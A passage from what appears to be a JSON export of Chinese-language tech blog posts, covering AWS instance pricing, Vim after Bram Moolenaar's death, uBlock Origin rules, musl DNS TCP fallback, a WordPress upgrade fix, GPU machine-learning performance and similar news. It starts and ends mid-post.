以下。\r\n\r\n而拿 <code>t3</code> 系列的機器來比較，<code>t3.large</code> 也是有 2 vCPU + 8GB RAM，但他內建的 baseline CPU 是 30%，價錢則是 $0.0832/hr。\r\n\r\n從這邊可以看出來，大多數的小應用還是會往 <code>t3</code> 甚至是 <code>t3a</code> 丟。\r\n\r\n只有 24 小時的平均 loading 超過 40%，但又不是 24 小時都超過 40% 的應用，也就是現在應該是在 <code>m6a</code> 或 <code>m6i</code> 上面跑的，才有可能會評估 <code>m7i-flex</code>？\r\n\r\n更不用說 AWS 上 <code>m6a</code> 的收費比 Intel 的 <code>m6i</code> 少了 10% 啊，這個產品定位在細算後很微妙：應該是有他可以出現的地方，但怎麼算都不多... 有點像是 AWS 跟 Intel 交代的產品？\r\n\r\n但順著邏輯，這個方法其實是 billing-based 的方案，跟技術沒有太多關係，如果 Intel 可以做，那麼 <a href=\"https://www.amd.com/\">AMD</a> 與 ARM 應該也遲早會出現？\r\n\r\n看起來像是 <code>t</code> 系列產品的延伸，但好像可以再等等，看會不會在 AMD 與 ARM 的產品線上推出類似的東西？",
    "title": "Amazon EC2 推出新世代 Intel CPU，以及奇怪的 Flex 產品"
  },
  {
    "id": "11279",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到 <a href=\"https://search.brave.com/\">Brave Search</a> 時作了自己的 Image Search，不再依靠 <a href=\"https://www.bing.com/\">Bing</a> 的資訊：「<a href=\"https://news.ycombinator.com/item?id=36988744\">Brave Search launches own image and video search (brave.com)</a>」。Brave 原始文章的標題比較長：「<a href=\"https://brave.com/image-video-search/\">With our own image and video search, Brave Search now offers comprehensive independent results, giving users a fully-fledged, privacy-preserving choice outside of Big Tech</a>」。\r\n\r\n在 <a href=\"https://news.ycombinator.com/item?id=36990055\">id=36990055</a> 這邊有提到，這樣有五家搜尋引擎業者有自己的 image search infrastructure 了，包括了 <a href=\"https://image.baidu.com/\">Baidu</a>、<a href=\"https://www.bing.com/images\">Bing</a>、這次的 <a href=\"https://search.brave.com/images\">Brave</a>、<a href=\"https://images.google.com/\">Google</a> 以及 <a href=\"https://yandex.com/images/\">Yandex</a>。\r\n\r\n另外一個在討論裡面有提到的是以圖找圖的功能 (像是 <a href=\"https://news.ycombinator.com/item?id=36989140\">id=36989140</a> 這邊)，其他幾家都有提供，而 Brave 目前剛出還沒有，不過看下面的回應是有這樣的計畫在跑，但也許優先權不高...",
    "title": "Brave Search 實作了自己的 Image Search"
  },
  {
    "id": "11280",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到 <a href=\"https://en.wikipedia.org/wiki/Bram_Moolenaar\">Bram Moolenaar</a> 過世的消息：「<a href=\"https://news.ycombinator.com/item?id=37011324\">Bram Moolenaar Passed Away (groups.google.com)</a>」。\r\n\r\n沒有提到太細節的狀況，看起來是發生某種發展很迅速的情況而過世了：\r\n\r\n<blockquote>Bram was suffering from a medical condition that progressed quickly over the last few weeks.</blockquote>\r\n\r\nBram Moolenaar 留下來對我影響最深遠的東西就是他發明的 <a href=\"https://en.wikipedia.org/wiki/Vim_(text_editor)\">Vim</a> 了，我從大學開始用 Vim，到現在二十幾年了，在這些年來可以看到有很多不同的編輯器推出，而市場上也有很多人一直在跳槽，而 Vim 社群的人就是「用的很習慣」而沒在動，在每年的編輯器市占率調查中總是可以看到固定的數量。\r\n\r\n即使到了 2022 年，你還是可以看到 Vim 在 engineer 社群還是有一定的比率：(出自「<a href=\"https://survey.stackoverflow.co/2022#section-most-popular-technologies-integrated-development-environment\">Integrated development environment</a>」)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1691246905-a90eb576.webp\" /><img src=\"https://i.gslin.com/s/1691246905-a90eb576.png\" alt=\"\" /></picture>\r\n\r\n最原始的 <a href=\"https://en.wikipedia.org/wiki/Vi\">vi</a> 後續有很多 fork，但後來 Vim 一統天下，直到 2015 年 <a href=\"https://en.wikipedia.org/wiki/Neovim\">Neovim</a> 帶來更活躍的改變，才又開始分岔，也反過來推動了 Vim 社群的進步。\r\n\r\n然後突然看到這個消息...",
    "title": "Vim 作者 Bram Moolenaar 過世"
  },
  {
    "id": "11281",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的「<a href=\"https://news.ycombinator.com/item?id=37013396\">Just normal web things (heather-buchel.com)</a>」這篇，原文「<a href=\"https://heather-buchel.com/blog/2023/07/just-normal-web-things/\">Just normal web things.</a>」本來在抱怨一些 <a href=\"https://en.wikipedia.org/wiki/Single-page_application\">SPA</a> 年代常遇到的問題，但我注意到的反而是討論裡的 <a href=\"https://news.ycombinator.com/item?id=37018421\">id=37018421</a> 這則，介紹了 <a href=\"https://en.wikipedia.org/wiki/UBlock_Origin\">uBlock Origin</a> 可以修改特定的 DOM event：\r\n\r\n<pre>New Reddit also messes with text selection with unnecessary JS crap. Wherever you select some text, they show an \"Embed\" button that prevents you from dragging the text to a new tab to perform a web search.\r\n\r\nThankfully this behaviour can be blocked with uBlock Origin by adding these rules:\r\n\r\n  www.reddit.com##+js(aeld, mousedown, isSelectionOutOfRange)\r\n  www.reddit.com##+js(aeld, mouseup, shouldShowButton)</pre>\r\n\r\n翻了 uBlock Origin 的 wiki 文件，這應該是 <a href=\"https://github.com/gorhill/uBlock/wiki/Resources-Library#addeventlistener-defuserjs-\">aeld.js / addEventListener-defuser.js</a> 這個功能：\r\n\r\n<blockquote>Prevents attaching event listeners.</blockquote>\r\n\r\naeld 可以阻止某些事件掛到 DOM 元素上，這感覺好像可以少寫不少 userscript，單純用 uBlock Origin 設條件就可以做到了？\r\n\r\n另外在同一頁上 (<a href=\"https://github.com/gorhill/uBlock/wiki/Resources-Library\">Resources Library</a> 這頁) 也有其他有趣的東西，像是拔掉 timeout 設定或是某些 attribute 的內容，另外也可以對 API 傳回來的 JSON 或 XML 內容進行刪除某些欄位...\r\n\r\n算是意外注意到，後續希望遇到的時候可以想起來...",
    "title": "uBlock Origin 可以修改 DOM event"
  },
  {
    "id": "11283",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=37030568\">GPTBot – OpenAI’s Web Crawler (openai.com)</a>」，原文是 <a href=\"https://platform.openai.com/docs/gptbot\">GPTBot</a> 這個，提到了 <a href=\"https://openai.com/\">OpenAI</a> 的 web crawler，<a href=\"https://en.wikipedia.org/wiki/User-Agent_header\">User-Agent</a> 會長這樣：\r\n\r\n<pre>Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.0; +https://openai.com/gptbot)</pre>\r\n\r\n然後有提到他會遵守 <a href=\"https://en.wikipedia.org/wiki/Robots.txt\">robots.txt</a>。\r\n\r\n另外提供了 web crawler 會使用的 IP range，放在 <a href=\"https://openai.com/gptbot-ranges.txt\">gptbot-ranges.txt</a> 這邊，目前裡面看起來只有 <code>40.83.2.64/28</code>，是 <a href=\"https://azure.microsoft.com/\">Azure</a> 的網段。\r\n\r\n這個行為有點微妙了，要開始自己掃資料嗎？",
    "title": "OpenAI 的 web crawler 叫做 GPTBot"
  },
  {
    "id": "11286",
    "body": "在 <a href=\"https://www.facebook.com/\">Facebook</a> 上看到這篇：\r\n\r\n<iframe src=\"https://www.facebook.com/plugins/post.php?href=https%3A%2F%2Fwww.facebook.com%2Fernestchiang%2Fposts%2F10160274186921896&amp;show_text=true&width=500\" width=\"500\" height=\"395\" style=\"border:none;overflow:hidden\" scrolling=\"no\" frameborder=\"0\" allowfullscreen=\"true\" allow=\"autoplay; clipboard-write; encrypted-media; picture-in-picture; web-share\"></iframe>\r\n\r\n剛好想起前陣子在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=36933028\">Musl 1.2.4 adds TCP DNS fallback (openwall.com)</a>」這個消息，裡面的連結是今年五月 musl 1.2.4 的出版公告：「<a href=\"https://www.openwall.com/lists/musl/2023/05/02/1\">musl 1.2.4 released</a>」(話說 openwall 網站似乎有擋 <a href=\"https://www.hinet.net/\">HiNet</a> 的 IP，我是走第四台網路看的，或是參考 <a href=\"https://web.archive.org/\">Internet Archive</a> 上面的<a href=\"https://web.archive.org/web/20230801235920/https://www.openwall.com/lists/musl/2023/05/02/1\">連結</a>)。\r\n\r\nmusl 1.2.4 一個很重要的改變是在 DNS resolver 上支援了 TCP fallback (也就是支援 DNS over TCP)，這改善了長久以來在 container 裡面使用 <a href=\"https://en.wikipedia.org/wiki/Alpine_Linux\">Alpine Linux</a> 偶而會因為 DNS 遇到沒有照標準做的 server 而中雷的問題：\r\n\r\n<blockquote>This release adds TCP fallback to the DNS stub resolver, fixing the longstanding inability to query large DNS records and incompatibility with recursive nameservers that don't give partial results in truncated UDP responses. It also makes a number of other bug fixes and improvements in DNS and related functionality, including making both the modern and legacy API results differentiate between NODATA and NxDomain conditions so that the caller can handle them differently.</blockquote>\r\n\r\n查了一下對應的標準，跑去問 <a href=\"https://en.wikipedia.org/wiki/ChatGPT\">ChatGPT</a> 的 GPT-4：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1691511826-2e555f2d.webp\" /><img src=\"https://i.gslin.com/s/1691511826-2e555f2d.png\" alt=\"\" /></picture>\r\n\r\n但 ChatGPT 引用的東西都不能直接當作是實際的文字，只能當作一個起點去找。實際翻 <a href=\"https://www.ietf.org/rfc/rfc1035.txt\">RFC 1035</a> 可以翻到：\r\n\r\n<blockquote>Messages carried by UDP are restricted to 512 bytes (not counting the IP or UDP headers).  Longer messages are truncated and the TC bit is set in the header.</blockquote>\r\n\r\n所以的確在 UDP response 的規範是 512 bytes，要取得完整的資料只能往 TCP 查詢。而 musl 有了這個 TCP fallback 總算是補掉了 Alpine Linux 的一個大坑。\r\n\r\n而 musl 1.2.4 則是在 Alpine Linux 3.18 才開始使用：「<a href=\"https://alpinelinux.org/posts/Alpine-3.18.0-released.html\">Alpine 3.18.0 released</a>」。\r\n\r\n<blockquote>musl libc 1.2.4 – now with TCP fallback in DNS resolver</blockquote>\r\n\r\n所以回到開頭，提到 Alpine Linux 3.16 還是有問題的人，是應該會遇到問題沒錯，因為 3.16 的 musl 本來就沒 TCP fallback？遇到不標準的 DNS server 的確是會噴...\r\n\r\nAnyway，Alpine Linux 的 DNS 問題應該會變成過去式...",
    "title": "musl 的 DNS reolsver 支援 TCP fallback"
  },
  {
    "id": "11287",
    "body": "在 <a href=\"https://en.wikipedia.org/wiki/Mastodon_(social_network)\">Mastodon</a> 上看到維基百科的 PageView 查詢介面：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1691515791-7e0f92af.webp\" /><img src=\"https://i.gslin.com/s/1691515791-7e0f92af.png\" alt=\"\" /></picture>\r\n\r\n<a href=\"https://pageviews.wmcloud.org/\">https://pageviews.wmcloud.org/</a> 這個介面比以前其他可以查 PageView 資訊的頁面 (印象中的介面) 好用不少，拿來查各語言的頁面資訊也沒問題。",
    "title": "維基百科的 PageView 查詢"
  },
  {
    "id": "11290",
    "body": "<a href=\"https://wordpress.org/\">WordPress</a> 6.3 出了：「<a href=\"https://wordpress.org/news/2023/08/lionel/\">WordPress 6.3 “Lionel”</a>」，順手按了升級就爛掉了，發現是 admin 介面爛掉，網站本身還能瀏覽，先翻出 <a href=\"https://www.php.net/\">PHP</a> 的錯誤訊息：\r\n\r\n<pre>2023/08/09 04:52:32 [error] 845702#845702: *1350433 FastCGI sent in stderr: \"PHP message: PHP Fatal error:  Uncaught ArgumentCountError: Too few arguments to function W3TC\\Util_Environment::is_dbcluster(), 0 passed in /srv/blog.gslin.org/public/wp-content/db.php on line 56 and exactly 1 expected in /srv/blog.gslin.org/public/wp-content/plugins/w3-total-cache/Util_Environment.php:176</pre>\r\n\r\n順著這個訊息找到這個算新的討論：「<a href=\"https://wordpress.org/support/topic/fatal-error-in-util_environment/\">Fatal error in Util_Environment</a>」，看起來跟 <a href=\"https://wordpress.org/plugins/w3-total-cache/\">W3 Total Cache</a> 有關。\r\n\r\n(話說這個錯誤訊息還比較新，<a href=\"https://kagi.com/\">Kagi</a> 上面找不到，後來是在 <a href=\"https://duckduckgo.com/\">DuckDuckGo</a> 上找到)\r\n\r\n解法就比較粗暴一點，先到 <code>wp-content/plugins</code> 下讓 W3 Total Cache 失效：\r\n\r\n<pre>sudo chmod 000 w3-total-cache</pre>\r\n\r\n跑完升級後會出現錯誤訊息提示 W3 Total Cache 沒有啟用，這時候再開回來：\r\n\r\n<pre>sudo chmod 755 w3-total-cache</pre>\r\n\r\n後續把 cache 都清掉就正常了。",
    "title": "升級到 WordPress 6.3 遇到的問題"
  },
  {
    "id": "11291",
    "body": "<a href=\"https://www.backblaze.com/\">Backblaze</a> 釋出了 2023Q2 的硬碟報告：「<a href=\"https://www.backblaze.com/blog/backblaze-drive-stats-for-q2-2023/\">Backblaze Drive Stats for Q2 2023</a>」。\r\n\r\n看硬碟數量有破千顆的會比較準確，跟以前的趨勢差不多，<a href=\"https://en.wikipedia.org/wiki/HGST\">HGST</a> 與改牌到 <a href=\"https://en.wikipedia.org/wiki/Western_Digital\">WDC</a> 的硬碟在第一梯隊，再來是 <a href=\"https://en.wikipedia.org/wiki/Toshiba\">Toshiba</a>，然後是 <a href=\"https://en.wikipedia.org/wiki/Seagate_Technology\">Seagate</a>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1691567074-779225a9.webp\" /><img src=\"https://i.gslin.com/s/1691567074-779225a9.png\" alt=\"\" /></picture>\r\n\r\n特別被拿出來講的是 0% 死亡率的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1691567575-ac60ed77.webp\" /><img src=\"https://i.gslin.com/s/1691567575-ac60ed77.png\" alt=\"\" /></picture>\r\n\r\n前面三顆 Drive Days 都夠高，還可以維持 0% 死亡率，算是可以選擇的型號？\r\n\r\n另外比較特別的是 8TB 與 10TB 硬碟的死亡率比平均值高不少，不過文章裡面有提到 10TB 因為量太少所以跳過 (可能還在統計誤差的範圍)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1691567035-f3c82598.webp\" /><img src=\"https://i.gslin.com/s/1691567035-f3c82598.png\" alt=\"\" /></picture>\r\n\r\n<blockquote>Given there are relatively few 10TB drives (1,124) versus 8TB drives (24,891), let’s dig deeper into the 8TB drives models.</blockquote>\r\n\r\n而 8TB 的資料可以看到這幾顆的狀況：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1691567424-aa90fc64.webp\" /><img src=\"https://i.gslin.com/s/1691567424-aa90fc64.png\" alt=\"\" /></picture>\r\n\r\n這邊算是提供要避開的型號？",
    "title": "Backblaze 釋出 2023Q2 的硬碟報告"
  },
  {
    "id": "11292",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 總算是提供付費方案 (包在 Advanced Certificate Manager 裡面)，可以針對不同的 hostname 給不同的 <a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\">TLS</a> 設定了：「<a href=\"https://blog.cloudflare.com/introducing-per-hostname-tls-settings/\">Introducing per hostname TLS settings — security fit to your needs</a>」。\r\n\r\n本來的限制是整個 domain 都是一樣的 TLS 設定，這點對免費仔來說還好，但對於企業客戶來說就不太好用了。\r\n\r\n遇到客戶端 (甚至是客戶) 是 <a href=\"https://en.wikipedia.org/wiki/Java_6\">Java 6</a> 這種不支援 TLS 1.2 的情況 (參考「<a href=\"https://www.ssllabs.com/ssltest/viewClient.html?name=Java&amp;version=6u45&amp;key=25\">Qualys SSL Labs - Projects / User Agent Capabilities: Java 6u45</a>」這邊)，你還是得想辦法生一組 TLS 1.0 服務出來，但整個 domain 都開又有可能會死在 <a href=\"https://en.wikipedia.org/wiki/Payment_Card_Industry_Data_Security_Standard\">PCI-DSS</a> 之類的規範。\r\n\r\n以前遇到的時候有兩種解法，第一種是在客戶端自己解決，像是在內網架 SSL proxy (通常會搭配 self-signed CA) 讓 Java 6 的 client 還是可以透過 TLS 1.0 通訊，但是連到 internet 上面會是比較新的 TLS 1.2 或是 TLS 1.3，這種算是比較安全的。\r\n\r\n另外一種就是在 Cloudflare 上另外開一個 domain，這樣就可以用 TLS 1.0 半裸奔。\r\n\r\n現在這樣等於是讓第二個方案更簡單一點，不用另外開 domain，只需要在 hostname 上設定...",
    "title": "Cloudflare 可以針對不同 Hostname 給不同的 TLS 設定了"
  },
  {
    "id": "11293",
    "body": "在「<a href=\"https://blog.gslin.org/archives/2023/08/05/11280/vim-%e4%bd%9c%e8%80%85-bram-moolenaar-%e9%81%8e%e4%b8%96/\">Vim 作者 Bram Moolenaar 過世</a>」後，Christian Brabandt 在「<a href=\"https://groups.google.com/g/vim_dev/c/dq9Wu5jqVTw\">The future of the Vim project</a>」這邊討論了 <a href=\"https://en.wikipedia.org/wiki/Vim_(text_editor)\">Vim</a> 的後續計畫，主要是因為 <a href=\"https://en.wikipedia.org/wiki/Bram_Moolenaar\">Bram Moolenaar</a> 算是主要的 coordinator，在他過世後大家需要確認彼此的權限，以及後續的共識。\r\n\r\n目前這樣看起來是有在收斂，但我猜測在夠久的將來後會跟 <a href=\"https://en.wikipedia.org/wiki/Neovim\">Neovim</a> 合併？至於會用誰的名字留下來就不知道了... 或是 Vim 專案後面沒有能量而被廢掉？\r\n\r\n另外一個有趣的消息是這個：\r\n\r\n<blockquote>Unfortunately, OSDN.net is apparently now being owned by OSChina and we currently do not have any support by OSDN.net or OSChina teams. @Shuji, thank you for maintaining the Vim Website since 2018 and all the best for the future!</blockquote>\r\n\r\n翻了一下 <a href=\"https://en.wikipedia.org/wiki/OSDN\">OSDN</a> 這個英文版的條目，沒寫到這件事情，是在日文版的條目 <a href=\"https://ja.wikipedia.org/wiki/OSDN\">OSDN</a> 上看到的。\r\n\r\n<blockquote>Open Source Development Networkは、OSDN（オーエスディーエヌ）と略し、中国企業の开源中国（OSCHINA）が運営する、日本向けのオープンソースソフトウェアプロジェクト向けのホスティングサイト。かつてはSourceForge.netの姉妹サイトで、2015年5月11日にサイト名称がSourceForge.JPからOSDNに変更された。</blockquote>\r\n\r\n翻了一下新聞，看起來是 2022 年的事情：『<a href=\"https://forest.watch.impress.co.jp/docs/news/1520393.html\">「OSDN」が中国企業に買収 ～日本のオープンソースプロジェクト ホスティングサービス</a>』。",
    "title": "Vim 的後續計畫"
  },
  {
    "id": "11294",
    "body": "早上發佈的大新聞，<a href=\"https://www.hashicorp.com/\">HashiCorp</a> 將放棄本來的 <a href=\"https://en.wikipedia.org/wiki/Open-source_license\">Open-source license</a> (<a href=\"https://en.wikipedia.org/wiki/Mozilla_Public_License\">MPL-2.0</a>)，改用 BSL 1.1：「<a href=\"https://www.hashicorp.com/blog/hashicorp-adopts-business-source-license\">HashiCorp adopts Business Source License</a>」，<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論也可以參考：「<a href=\"https://news.ycombinator.com/item?id=37081306\">HashiCorp Adopts Business Source License (hashicorp.com)</a>」。\r\n\r\n看了一下產品線，最成功的應該是 <a href=\"https://en.wikipedia.org/wiki/Terraform_(software)\">Terraform</a> 這條，其他也有些人會用，但大多都有替代品。\r\n\r\n這些軟體可以預期都會有 fork，但後續的開發能量還會有多少就不知道了...\r\n\r\n另外前陣子有測過一次 <a href=\"https://github.com/pulumi/pulumi\">Pulumi</a>，但整體的體驗很差，也許再看看其他的方案？",
    "title": "HashiCorp 將放棄 Open Source License，改採用 BSL 1.1"
  },
  {
    "id": "11295",
    "body": "在「<a href=\"https://www.cnx-software.com/2023/08/11/chart-confirms-higher-level-of-raspberry-pi-restocks/\">Chart confirms higher level of Raspberry Pi restocks</a>」這邊看到的，看起來 <a href=\"https://www.raspberrypi.com/\">Raspberry Pi</a> 的供貨逐漸穩定下來了？\r\n\r\n透過監控各網站的供貨情況來看，可以看到這一個月 RPi4 的出現機率高不少：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1691779026-0723c83c.webp\" /><img src=\"https://i.gslin.com/s/1691779026-0723c83c.png\" alt=\"\" /></picture>\r\n\r\n算是好消息吧？比起其他的 <a href=\"https://en.wikipedia.org/wiki/Single-board_computer\">SBC</a> 來說，Raspberry Pi 上軟體的 ecosystem 還是強太多。\r\n\r\n不過話說最近用 <a href=\"https://ark.intel.com/content/www/us/en/ark/products/231803/intel-processor-n100-6m-cache-up-to-3-40-ghz.html\">Intel N100</a> 的主機，整台機器包了 16GB RAM + 512GB SSD 才 US$170，然後可以灌官方的 <a href=\"https://releases.ubuntu.com/22.04/\">Ubuntu 22.04</a>，在比較吃計算資源的應用上感覺比 Raspberry Pi 4 強好多啊... 當然這東西沒有 <a href=\"https://en.wikipedia.org/wiki/General-purpose_input/output\">GPIO</a>，畢竟主打的方向不同，不過如果買個 USB 轉 GPIO 的介面來用其實也是可以...",
    "title": "Raspberry Pi 的供貨開始穩定？"
  },
  {
    "id": "11296",
    "body": "前幾天在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的文章：「<a href=\"https://news.ycombinator.com/item?id=37066522\">Making AMD GPUs competitive for LLM inference (mlc.ai)</a>」，原文在「<a href=\"https://blog.mlc.ai/2023/08/09/Making-AMD-GPUs-competitive-for-LLM-inference\">Making AMD GPUs competitive for LLM inference</a>」這邊。\r\n\r\n<a href=\"https://www.nvidia.com/\">Nvidia</a> 在 GPU 上的各種運算這塊進來的很早，除了本家開發了很多工具以外，社群的支援度也很好。而 <a href=\"https://www.amd.com/\">AMD</a> 這邊就差了不少，但這也反應在顯卡的售價上面。\r\n\r\n作者整理了同樣是 24GB VRAM 的顯卡出來，分別是 AMD 的 <a href=\"https://en.wikipedia.org/wiki/Radeon_RX_7000_series\">7900XTX</a>，以及 Nvidia 的 <a href=\"https://en.wikipedia.org/wiki/GeForce_30_series\">3090 Ti</a> 與新的 <a href=\"https://en.wikipedia.org/wiki/GeForce_40_series\">4090</a>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1691779661-b4d60054.webp\" /><img src=\"https://i.gslin.com/s/1691779661-b4d60054.png\" alt=\"\" /></picture>\r\n\r\n可以看出來縮然同樣 fp16 對應到的功耗差蠻多的，但單價低很多，對於業餘玩家偶而用來說，其實是個可以考慮的方案。\r\n\r\n而他們的成果可以看出來效果其實不差，跑 <a href=\"https://en.wikipedia.org/wiki/LLaMA\">Llama 2</a> 的 model 可以看到 CP 值相當高：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1691779942-1b770a79.webp\" /><img src=\"https://i.gslin.com/s/1691779942-1b770a79.png\" alt=\"\" /></picture>\r\n\r\n看起來支援的主力在 <a href=\"https://en.wikipedia.org/wiki/ROCm\">ROCm</a> 上，就效能與功耗的筆直來說其實是超越的？(或者保守一點的說，是在同一個水平上的)\r\n\r\n現在算是 AMD 顯卡在追趕的過程，社群的力量看起來會是主力...",
    "title": "AMD 平台上的 LLM 計算"
  },
  {
    "id": "11298",
    "body": "三月的時候提到 <a href=\"https://aws.amazon.com/\">AWS</a> 搞出了自己的 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 的 <a href=\"https://en.wikipedia.org/wiki/Filesystem_in_Userspace\">FUSE</a> 實作：「<a href=\"https://blog.gslin.org/archives/2023/03/16/11100/aws-%E5%AE%98%E6%96%B9%E6%8E%A8%E5%87%BA%E4%BA%86%E8%87%AA%E5%B7%B1%E7%9A%84-amazon-s3-fuse-%E5%A5%97%E4%BB%B6/\">AWS 官方推出了自己的 Amazon S3 FUSE 套件</a>」，現在 GA 了：「<a href=\"https://aws.amazon.com/blogs/aws/mountpoint-for-amazon-s3-generally-available-and-ready-for-production-workloads/\">Mountpoint for Amazon S3 – Generally Available and Ready for Production Workloads</a>」。\r\n\r\n看起來 <a href=\"https://github.com/s3fs-fuse/s3fs-fuse\">s3fs-fuse</a> 還是一直有在更新，然後翻了翻好像沒看到兩者的比較... (可能是之前 Mountpoint for Amazon S3 在 alpha 版的關係？)\r\n\r\n記得這個功能拿來塞些東西還蠻好用的...",
    "title": "Mountpoint for Amazon S3 正式推出 (GA) 了..."
  },
  {
    "id": "11299",
    "body": "前面提到「<a href=\"https://blog.gslin.org/archives/2023/08/12/11296/amd-%e5%b9%b3%e5%8f%b0%e4%b8%8a%e7%9a%84-llm-%e8%a8%88%e7%ae%97/\">AMD 平台上的 LLM 計算</a>」，在「<a href=\"https://christianjmills.com/posts/arc-a770-testing/part-2/\">Testing Intel’s Arc A770 GPU for Deep Learning Pt. 2</a>」這邊看到另外一家也在追趕的 <a href=\"https://www.intel.com/\">Intel</a> 對於自家顯卡 <a href=\"https://en.wikipedia.org/wiki/Intel_Arc\">Intel Arc</a> 在 ML 上的運算。\r\n\r\n文章裡面是透過 Intel 自家的 <a href=\"https://en.wikipedia.org/wiki/OpenVINO\">OpenVINO</a> 以及微軟的 <a href=\"https://en.wikipedia.org/wiki/DirectML\">DirectML</a> 在存取顯卡資源。\r\n\r\n這張最大記憶體是 16GB，對於 ML 訓練算是堪用？\r\n\r\n話說 <a href=\"https://ark.intel.com/content/www/us/en/ark/products/231803/intel-processor-n100-6m-cache-up-to-3-40-ghz.html\">Intel N100</a> 主機把 <a href=\"https://en.wikipedia.org/wiki/OpenCL\">OpenCL</a> 弄好後也可以跑 <a href=\"https://en.wikipedia.org/wiki/KataGo\">KataGo</a>，當然速度沒有獨立顯卡那麼快，但比起純粹用 CPU 計算的速度還是快不少...",
    "title": "Intel Arc 顯卡在 Machine Learning 上的運算"
  },
  {
    "id": "11301",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到這篇「<a href=\"https://blog.0x7d0.dev/history/how-they-bypass-youtube-video-download-throttling/\">How They Bypass YouTube Video Download Throttling</a>」在講 <a href=\"https://www.youtube.com/\">YouTube</a> 防止下載的各種方式。\r\n\r\n透過 API 拿到的 URL 直接抓很慢，大約 40-70KB/sec：\r\n\r\n<blockquote>However, attempting to download from this URL leads to really slow download:</blockquote>\r\n\r\n<blockquote>The speed is always limited to around 40-70kB/s.</blockquote>\r\n\r\n這邊需要一個 javascript 環境計算出 <code>n</code>，帶入後續的 request 以「證明」你是官方的網頁 client：\r\n\r\n<blockquote>Since mid-2021, YouTube has included the query parameter <code>n</code> in the majority of file URLs. This parameter needs to be transformed using a JavaScript algorithm located in the file <code>base.js</code>, which is distributed with the web page. YouTube utilizes this parameter as a challenge to verify that the download originates from an “official” client. If the challenge is not resolved and <code>n</code> is not transformed correctly, YouTube will silently apply throttling to the video download.\r\n\r\nThe JavaScript algorithm is obfuscated and changes frequently, so it’s not practical to attempt reverse engineering to understand it. The solution is simply to download the JavaScript file, extract the algorithm code, and execute it by passing the <code>n</code> parameter to it. The following code accomplishes this.</blockquote>\r\n\r\n但即使算出 <code>n</code>，也還是會限速，可以看到作者策出來大約是 4MB/sec，雖然比以前快很多了，但還是看得出來有限速。這主要是避免 client 端過度 buffer 浪費頻寬：\r\n\r\n<blockquote>With this new URL containing the correctly transformed n parameter, the next step is to download the video. However, YouTube still enforces a throttling rule. This rule imposes a variable download speed limit based on the size and length of the video, aiming to provide a download time that’s approximately half the duration of the video. This aligns with the streaming nature of videos. It would be a massive waste of bandwidth for YouTube to always provide the media file as quickly as possible.</blockquote>\r\n\r\n接下來的方式就是利用 <code>Range</code> 拆成很多個 HTTP request 打，這樣因為 buffering algorithm 在開始限速前會先全速塞資料給你，就可以用這點避開限速的問題了。\r\n\r\n把多的 request 與處理時間都算進去後，整體大約可以到 50-70MB/sec，算是可以接受的下載速度了：\r\n\r\n<blockquote>However, the average speeds typically ranged between 50-70 MB/s or 400-560 Mb/s, which is still pretty fast.</blockquote>\r\n\r\n後面有一些合併處理的指令 (因為 YouTube 會把影與音分離成兩個檔案)，就不是重點了...",
    "title": "下載 YouTube 影片的技術限制與繞過方法"
  },
  {
    "id": "11302",
    "body": "看到「<a href=\"https://engineering.linecorp.com/ja/blog/3.6-billion-parameter-japanese-language-model\">36億パラメータの日本語言語モデルを公開しました</a>」這篇，日本的 <a href=\"https://linecorp.com/\">LINE</a> 丟出 <a href=\"https://en.wikipedia.org/wiki/Apache_License\">Apache License</a> 2.0 的 <a href=\"https://en.wikipedia.org/wiki/Large_language_model\">LLM</a>，拿起來跑看看還蠻有趣的：\r\n\r\n他的特點是用日語資料訓練出來的 LLM：\r\n\r\n<blockquote>最終的な学習には約650GBのコーパスを利用していますが、英語の大規模コーパスとして一般的に用いられているもの（Pileコーパス）が約800GBであることを踏まえると、我々のデータも遜色ない大きさであると言えます。</blockquote>\r\n\r\n我拿 1.7B 跑，小修改一下故意給英文的 prompt 後，可以看到輸出頗有趣的，畢竟是從日文資料訓練出來的：\r\n\r\n<pre>{'generated_text': 'An apple a day keeps the doctor away.\\n「一日リンゴ1個」は apple days で'}\r\n{'generated_text': 'An apple a day keeps the doctor away thinking happier. The biggest happ'}\r\n{'generated_text': 'An apple a day keeps the doctor away from here.」と英語で訳しましょう。「I have a dream'}\r\n{'generated_text': 'An apple a day keeps the doctor away(sometimes usually thinks far a'}\r\n{'generated_text': 'An apple a day keeps the doctor away. 日はまたのぼり、 医者は去って行った。 They'}\r\n{'generated_text': 'An apple a day keeps the doctor away thought about being in the center of the'}\r\n{'generated_text': 'An apple a day keeps the doctor away from all the time.\\n16. I feel like'}\r\n{'generated_text': 'An apple a day keeps the doctor away and draws and eats around one table'}\r\n{'generated_text': 'An apple a day keeps the doctor away from your mother\\nAnd another male you are'}\r\n{'generated_text': \"An apple a day keeps the doctor away. What's the opinion you wrote in\"}</pre>\r\n\r\n這邊有訓練的運算量計算，1.7B 的 model 訓練換成起來會用道 4000 小時的 